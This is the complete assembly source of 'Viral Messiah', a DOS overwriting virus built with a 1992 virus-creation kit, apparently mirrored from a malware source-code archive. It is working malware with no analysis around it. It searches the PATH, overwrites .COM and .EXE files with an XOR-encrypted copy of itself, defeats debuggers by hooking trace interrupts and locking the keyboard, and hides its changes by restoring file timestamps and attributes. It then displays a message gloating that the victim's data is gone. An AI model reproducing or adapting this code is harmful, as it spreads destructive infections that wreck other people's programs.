mirror of
https://github.com/vxunderground/MalwareSourceCode
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341 lines
14 KiB
NASM
341 lines
14 KiB
NASM
; VMESSIAH.ASM -- Viral Messiah Virus
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; Created with Nowhere Man's Virus Creation Laboratory v1.00
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; Written by Nowhere Man
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virus_type equ 1 ; Overwriting Virus
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is_encrypted equ 1 ; We're encrypted
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tsr_virus equ 0 ; We're not TSR
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code segment byte public
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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start label near
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main proc near
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flag: xchg dh,dh
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xchg bp,ax
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xchg bp,ax
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call encrypt_decrypt ; Decrypt the virus
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start_of_code label near
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stop_tracing: mov cx,09EBh
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mov ax,0FE05h ; Acutal move, plus a HaLT
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jmp $-2
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add ah,03Bh ; AH now equals 025h
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jmp $-10 ; Execute the HaLT
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mov bx,offset null_vector ; BX points to new routine
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push cs ; Transfer CS into ES
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pop es ; using a PUSH/POP
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int 021h
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mov al,1 ; Disable interrupt 1, too
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int 021h
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jmp short skip_null ; Hop over the loop
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null_vector: jmp $ ; An infinite loop
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skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
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lock_keys: mov al,128 ; Change here screws DEBUG
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out 021h,al ; If tracing then lock keyboard
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mov cx,0005h ; Do 5 infections
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search_loop: push cx ; Save CX
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call search_files ; Find and infect a file
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pop cx ; Restore CX
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loop search_loop ; Repeat until CX is 0
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jmp short strt00 ; Success -- skip jump
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skip00: jmp end00 ; Skip the routine
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strt00: mov si,offset data00 ; SI points to data
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mov ah,0Eh ; BIOS display char. function
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display_loop: lodsb ; Load the next char. into AL
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or al,al ; Is the character a null?
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je disp_strnend ; If it is, exit
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int 010h ; BIOS video interrupt
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jmp short display_loop ; Do the next character
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disp_strnend:
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mov si,offset data00 ; SI points to data
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xor dx,dx ; Clear DX
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print_loop: lodsb ; Load the next char. into AL
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xor ah,ah ; BIOS print char. function
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or al,al ; Is the character a null?
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je print_done ; If it is, exit
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int 017h ; BIOS video interrupt
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jmp short print_loop ; Do the next character
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print_done:
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end00: mov ax,04C00h ; DOS terminate function
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int 021h
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main endp
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db 08Dh,04Eh,054h,059h,0E0h
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search_files proc near
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push bp ; Save BP
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mov bp,sp ; BP points to local buffer
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sub sp,135 ; Allocate 135 bytes on stack
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mov byte ptr [bp - 135],'\' ; Start with a backslash
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mov ah,047h ; DOS get current dir function
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xor dl,dl ; DL holds drive # (current)
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lea si,[bp - 134] ; SI points to 64-byte buffer
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int 021h
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call traverse_path ; Start the traversal
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traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful?
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je done_searching ; If so then we're done
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call found_subdir ; Otherwise copy the subdirectory
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mov ax,cs ; AX holds the code segment
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mov ds,ax ; Set the data and extra
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mov es,ax ; segments to the code segment
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xor al,al ; Zero AL
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stosb ; NULL-terminate the directory
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 70] ; DX points to the directory
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int 021h
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mov dx,offset com_mask ; DX points to "*.COM"
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call find_files ; Try to infect a .COM file
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jnc done_searching ; If successful the exit
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mov dx,offset exe_mask ; DX points to "*.EXE"
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call find_files ; Try to infect an .EXE file
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jnc done_searching ; If successful the exit
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jmp short traversal_loop ; Keep checking the PATH
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done_searching: mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 135] ; DX points to old directory
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int 021h
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cmp word ptr [path_ad],0 ; Did we run out of directories?
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jne at_least_tried ; If not then exit
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stc ; Set the carry flag for failure
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at_least_tried: mov sp,bp ; Restore old stack pointer
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pop bp ; Restore BP
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ret ; Return to caller
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com_mask db "*.COM",0 ; Mask for all .COM files
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exe_mask db "*.EXE",0 ; Mask for all .EXE files
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search_files endp
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traverse_path proc near
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mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
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xor di,di ; DI holds the starting offset
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find_path: mov si,offset path_string ; SI points to "PATH="
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lodsb ; Load the "P" into AL
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mov cx,08000h ; Check the first 32767 bytes
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repne scasb ; Search until the byte is found
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mov cx,4 ; Check the next four bytes
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check_next_4: lodsb ; Load the next letter of "PATH="
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scasb ; Compare it to the environment
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jne find_path ; If there not equal try again
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loop check_next_4 ; Otherwise keep checking
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mov word ptr [path_ad],di ; Save the PATH address for later
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mov word ptr [path_ad + 2],es ; Save PATH's segment for later
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ret ; Return to caller
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path_string db "PATH=" ; The PATH string to search for
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path_ad dd ? ; Holds the PATH's address
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traverse_path endp
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found_subdir proc near
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lds si,dword ptr [path_ad] ; DS:SI points to the PATH
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lea di,[bp - 70] ; DI points to the work buffer
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push cs ; Transfer CS into ES for
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pop es ; byte transfer
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move_subdir: lodsb ; Load the next byte into AL
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cmp al,';' ; Have we reached a separator?
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je moved_one ; If so we're done copying
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or al,al ; Are we finished with the PATH?
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je moved_last_one ; If so get out of here
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stosb ; Store the byte at ES:DI
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jmp short move_subdir ; Keep transfering characters
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moved_last_one: xor si,si ; Zero SI to signal completion
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moved_one: mov word ptr es:[path_ad],si; Store SI in the path address
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ret ; Return to caller
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found_subdir endp
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db 0FEh,0C9h,04Bh,0DFh,06Eh
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find_files proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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push dx ; Save file mask
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first file function
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mov cx,00100111b ; CX holds all file attributes
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pop dx ; Restore file mask
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find_a_file: int 021h
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jc done_finding ; Exit if no files found
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call infect_file ; Infect the file!
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jnc done_finding ; Exit if no error
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mov ah,04Fh ; DOS find next file function
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jmp short find_a_file ; Try finding another file
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done_finding: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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find_files endp
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db 07Dh,0F9h,074h,000h,09Bh
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infect_file proc near
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mov ah,02Fh ; DOS get DTA address function
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int 021h
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mov si,bx ; SI points to the DTA
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mov byte ptr [set_carry],0 ; Assume we'll fail
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cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
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jne infection_done ; If it is then exit
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cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
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je infection_done ; If it is then skip it
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cmp word ptr [si + 01Ah],(finish - start)
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jb infection_done ; If it's too small then exit
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mov ax,03D00h ; DOS open file function, r/o
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lea dx,[si + 01Eh] ; DX points to file name
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,03Fh ; DOS read from file function
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mov cx,4 ; CX holds bytes to read (4)
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mov dx,offset buffer ; DX points to buffer
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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push si ; Save DTA address before compare
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mov si,offset buffer ; SI points to comparison buffer
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mov di,offset flag ; DI points to virus flag
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mov cx,4 ; CX holds number of bytes (4)
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rep cmpsb ; Compare the first four bytes
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pop si ; Restore DTA address
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je infection_done ; If equal then exit
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mov byte ptr [set_carry],1 ; Success -- the file is OK
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mov ax,04301h ; DOS set file attrib. function
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xor cx,cx ; Clear all attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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mov ax,03D02h ; DOS open file function, r/w
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int 021h
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xchg bx,ax ; BX holds file handle
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push si ; Save SI through call
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call encrypt_code ; Write an encrypted copy
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pop si ; Restore SI
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mov ax,05701h ; DOS set file time function
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mov cx,[si + 016h] ; CX holds old file time
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mov dx,[si + 018h] ; DX holds old file date
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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mov ax,04301h ; DOS set file attrib. function
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xor ch,ch ; Clear CH for file attribute
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mov cl,[si + 015h] ; CX holds file's old attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
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ret ; Return to caller
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buffer db 4 dup (?) ; Buffer to hold test data
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set_carry db ? ; Set-carry-on-exit flag
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infect_file endp
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data00 db "I am your VIRAL MESSIAH",13,10
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db "Follow me and be redeemed",13,10
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db "Your data doth exist no more",13,10
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db "The FAT holds ashes of your dreams",13,10,0
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vcl_marker db "[VCL]",0 ; VCL creation marker
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note db "[Viral Messiah]",0
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db "Nowhere Man, [NuKE] '92",0
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encrypt_code proc near
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mov si,offset encrypt_decrypt; SI points to cipher routine
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xor ah,ah ; BIOS get time function
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int 01Ah
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mov word ptr [si + 8],dx ; Low word of timer is new key
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xor byte ptr [si],1 ;
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xor byte ptr [si + 7],1 ; Change all SIs to DIs
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xor word ptr [si + 10],0101h; (and vice-versa)
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mov di,offset finish ; Copy routine into heap
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mov cx,finish - encrypt_decrypt - 1 ; All but final RET
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push si ; Save SI for later
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push cx ; Save CX for later
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rep movsb ; Copy the bytes
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mov si,offset write_stuff ; SI points to write stuff
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mov cx,5 ; CX holds length of write
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rep movsb ; Copy the bytes
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pop cx ; Restore CX
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pop si ; Restore SI
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inc cx ; Copy the RET also this time
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rep movsb ; Copy the routine again
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mov ah,040h ; DOS write to file function
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mov dx,offset start ; DX points to virus
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call finish ; Encrypt/write/decrypt
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ret ; Return to caller
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write_stuff: mov cx,finish - start ; Length of code
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int 021h
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encrypt_code endp
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end_of_code label near
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encrypt_decrypt proc near
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mov si,offset start_of_code ; SI points to code to decrypt
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mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
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xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
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inc si ; Do the next word
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inc si ;
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loop xor_loop ; Loop until we're through
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ret ; Return to caller
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encrypt_decrypt endp
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finish label near
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code ends
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end main
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